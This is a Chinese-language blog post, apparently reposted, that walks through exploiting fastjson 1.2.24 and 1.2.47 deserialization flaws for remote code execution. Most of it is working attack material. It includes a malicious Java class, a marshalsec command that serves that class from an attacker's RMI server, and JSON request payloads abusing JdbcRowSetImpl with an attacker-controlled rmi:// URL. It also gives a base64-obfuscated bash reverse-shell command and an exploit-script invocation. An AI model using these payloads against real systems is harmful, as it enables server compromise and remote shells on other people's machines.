rmi远程代码执行漏洞_fastjson远程代码执行漏洞复现
漏洞原理fastjson提供了autotype功能,在請求過程中,我們可以在請求包中通過修改@type的值,來反序列化為指定的類型,而fastjson在反序列化過程中會設置和獲取類中的屬性,如果類中存在惡意方法,就會導致代碼執行漏洞產生。
漏洞利用漏洞利用需要我們在vps上啟一個RMI服務并調用class文件(class文件為我們的惡意文件)
大概過程就是
生成惡意class文件
py開啟web服務
然后開啟rmi服務讓受害者去調用我們惡意的class文件反序列化后達到命令執行的效果
fastjson 1.2.24
創建惡意的class文件 TouchFile.java 內容如下// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
javac TouchFile.java 將他編譯成class文件
命令執行成功的話將在tmp文件下生成success文件
py啟動一個web服務器
然后我們借助marshalsec項目,啟動一個RMI服務器,監聽9999端口,并制定加載遠程類TouchFile.classjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://yourip:8000/#/TouchFile" 9999
然后發送請求包加載我們的惡意class文件達到rce的效果POST / HTTP/1.1
Host: targetip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 162
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://yourip:9999/TouchFile",
"autoCommit":true
}
}
或者使用fastjson_tool.jar更加方便
反彈shell
運行RMI服務,加載惡意java類java -cp fastjson_tool.jar fastjson.HRMIServer rmi服務ip 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}"
發送反序列化代碼漏洞執行命令python3 fastjson-1.2.47_rce.py http://targetip:8090 rmi://rmi ip:9999/Object
可以看到成功加載到我們惡意的class文件成功反彈shell
fastjson 1.2.47{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://rmi ip:9999/Exploit",
"autoCommit":true
}
}
也可以使用dnslog快速探測是否存在該漏洞
總結
以上是生活随笔為你收集整理的rmi远程代码执行漏洞_fastjson远程代码执行漏洞复现的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: iOS 15 全新辅助功能:播放背景音以
- 下一篇: 聚类dbi指数_一种基于DBI-PD聚类